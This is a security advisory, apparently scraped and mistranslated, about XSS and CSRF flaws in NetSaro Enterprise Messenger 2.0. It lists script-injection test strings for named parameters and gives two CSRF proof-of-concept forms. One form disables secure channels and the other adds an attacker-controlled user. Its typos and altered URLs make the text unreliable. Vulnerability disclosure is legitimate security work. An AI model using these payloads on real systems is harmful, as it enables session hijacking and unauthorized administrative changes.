NetSaro Enterprise Messenger v2.0 multiple defects and repair

========================================================== ==============
Secur-I Research Group Security Advisory [SV-2011-004]
========================================================== ==============
Title: NetSaro Enterprise Messenger v2.0 Multiple Vulnerabilities
Product: Enterprise Messenger Server
Defective version: 2.0 (Other versions cocould also be affected)

Impact: Moderate

Homepage: http://netsaro.com/Downloads.aspx
By: Narendra Shinde
Secur-I Research Group
========================================================== ==============

Supplier description:

---------------------------

Netsaro enables you to create a private and secure instant messaging network based on the customer/server architecture. You can send and receive Article emails, voice emails, files or screens, or start multi-user chat sessions.
Vulnerability Information:
-----------------------------------
 
1) Multiple Cross Site Scripting vulnerabilities
 
Vulnerability Information:
-------------------------------------
Class: Improper Neutralization of Input during Web Page Generation ('cross-site scripting') [CWE-79]
Impact: Insertion and Execution of malicious scripts in user browser
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction Required: Yes
 
 
Vulnerability overview/description:
-------------------------------------------------
NetSaro Enterprise Messenger Server v2.0 is prone to multiple cross-site scripting vulnerabilities as the user-supplied input parameter ed via certain parameters is not properly sanitized. this can be exploited by submitting specially crafted input to the affected software. successful exploitation cocould allow the attacker to execute arbitrary script code within the user's browser session in the security context of the targeted site. the attacker cocould gain access to user's cookies (including authentication cookies), if any, associated with the targeted site, access recently submitted data by the target user via web forms, or take actions on the site masquerading as the target user.
 
 
A) Non-Persistent Cross Site Scripting
 
URL: http://www.bkjia.com: 4990/login. nsp
Vulnerable Parameter: User Name
Demo string used: "> </script> <script> alert (" XSS ") </script>
 
URL: http://www.bkjia.com: 4990/user-search.nsp
Vulnerable Parameter: Search box
Test string used: "> <script> alert (" XSS ") </script>
 
URL: http://www.bkjia.com: 4990/license-add.nsp
Vulnerable parameters: Company, Quantity
Test string:> <script> alert (�xss) </script>
 
URL: http://www.bkjia.com: 4990/archive-announcement.nsp? FromUser = "> <script> alert (" xss ") </script>
URL: http://www.bkjia.com: 4990/archive-message.nsp? FromUsers = "> <script> alert (" xss ") </script>
 
 
B) Persistent Cross Site Scripting
 
URL: http://www.bkjia.com: 4990/department-add.nsp
Vulnerable Parameters: Name, Description
Test string used:>
 
URL: http://www.bkjia.com: 4990/user-add.nsp
Vulnerable Parameters: User Name, First Name, Last name, Job Title, Email
Test string used: "> <script> alert (" XSS ") </script>
 
URL: http://www.bkjia.com: 4990/department-add.nsp
Vulnerable Parameter: Name, Description
Test string:> <script> alert (�xss) </script>
 
Workaround:
-----------------
Proper checks on all user input.
For more details please refer:
Https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
 
 
2) Multiple CSRF vulnerabilities
 
Vulnerability Information:
------------------------------------
Class: Cross-Site Request Forgery (CSRF) [CWE-352]
Impact: Unintentional changes in application.
Remotely Exploitable: Yes
Authentication Required: No
User interaction Required: Yes
CVE Name: N/
 
Vulnerability overview/description:
--------------------------------------------------
The NetSaro Enterprise Messenger Server Administration Console application is vulnerable to cross-site request forgery, caused by improper validation of user supplied input by Messenger Server Administration Console. by persuading an authenticated user to visit a malicious website a remote attacker cocould send a malformed HTTP to edit applications settings.
 
The following URL's are found to be vulnerable:
 
Http://www.bkjia.com: 4990/server-security.nsp
Http://www.bkjia.com: 4990/server-login.nsp
Http://www.bkjia.com: 4990/server-offline.nsp
Http://www.bkjia.com: 4990/server-archive.nsp
Http://www.bkjia.com: 4990/server-properties.nsp? Server = webadmin
Http://www.bkjia.com: 4990/server-properties.nsp? Server = webadmin_ssl
Http://www.bkjia.com: 4990/server-properties.nsp? Server = messenger
Http://www.bkjia.com: 4990/server-properties.nsp? Server = messenger_ssl
Http://www.bkjia.com: 4990/server-properties.nsp? Server = gateway
Http://www.bkjia.com: 4990/server-properties.nsp? Server = gateway_ssl
Http://www.bkjia.com: 4990/server-edit.nsp? Server = webadmin
Http://www.bkjia.com: 4990/server-edit.nsp? Server = webadmin_ssl
Http://www.bkjia.com: 4990/server-edit.nsp? Server = messenger
Http://www.bkjia.com: 4990/server-edit.nsp? Server = messenger_ssl
Http://www.bkjia.com: 4990/server-edit.nsp? Server = gateway
Http://www.bkjia.com: 4990/server-edit.nsp? Server = gateway_ssl
Http://www.bkjia.com: 4990/user-add.nsp
Http://www.bkjia.com: 4990/department-add.nsp
Http://www.bkjia.com: 4990/connection-sendannouncement.nsp
 
 
Proof of Code (POC) 1:
 
To send Messenger, Gateway and Web administration connections on Unsecured channel.
 
<Html>
<Body>
<Form action = "http://www.bkjia.com: 4990/server-security.nsp" method = "post">
<Input id = "rb101" name = "secureWebAdmin" type = "hidden" value = "false" checked>
<Input id = "rb202" name = "secureMessenger" type = "hidden" value = "false" checked>
<Input id = "rb302" name = "secureGateway" type = "hidden" value = "false" checked>
<Input type = "hidden" name = "postback" value = "postback">
<Input type = "submit" name = "save" value = "Click ME: D">
</Form>
</Body>
</Html>
 
 
Proof of Code (POC) 2:
To add user in application.
 
<Html>
<Body>
<Form action = "http://www.bkjia.com: 4990/user-add.nsp" method = "post">
<Input name = "username" type = "hidden" value = "ATTACK">
<Input name = "firstname" type = "hidden" value = "ATTACK"> </td>
<Input name = "lastname" type = "hidden" value = "ATTACK"> </td>
<Input type = "hidden" name = "department" type = "hidden" value = "_ Default">
<Input name = "jobtitle" type = "hidden" value = "ATTACKER"> </td>
<Input name = "email" type = "hidden" value = "ATTACKER@ATTACK.com">
<Input type = "hidden" name = "authentication" value = "database">
<Input name = "password" type = "hidden" value = "PASS"> </td>
<Input name = "passwordConfirm" type = "hidden" value = "PASS"> </td>
<Imput name = "account" id = "account" value = "Enabled">
<Input type = "hidden" name = "postback" value = "postback">
<Input name = "add" type = "submit" id = "add" value = "Click Me: D">
</Form>
</Body>
</Html>
 
 
Workaround:
------------------
For more details please refer:
Https://www.owasp.org/index.php/Cross-Site_Request_Forgery _ % 28 CSRF % 29_Prevention_Cheat_Sheet
 
Timeline:
---------
Vulnerability Found: 2011-08-28
Reported to Vendor:
Confirmation from vendor: NO REPLY
Public Disclosure: 2011-08-31
 
Confidentiality: this email and any attachments may be confidential or privileged. If you do not want to specify a recipient, please immediately notify the sender of any media that has not disclosed the content to others for any purpose or that the information is stored or copied.

Confidentiality: this email and any attachments may be confidential or privileged. If you do not want to specify a recipient, please immediately notify the sender of any media that has not disclosed the content to others for any purpose or that the information is stored or copied.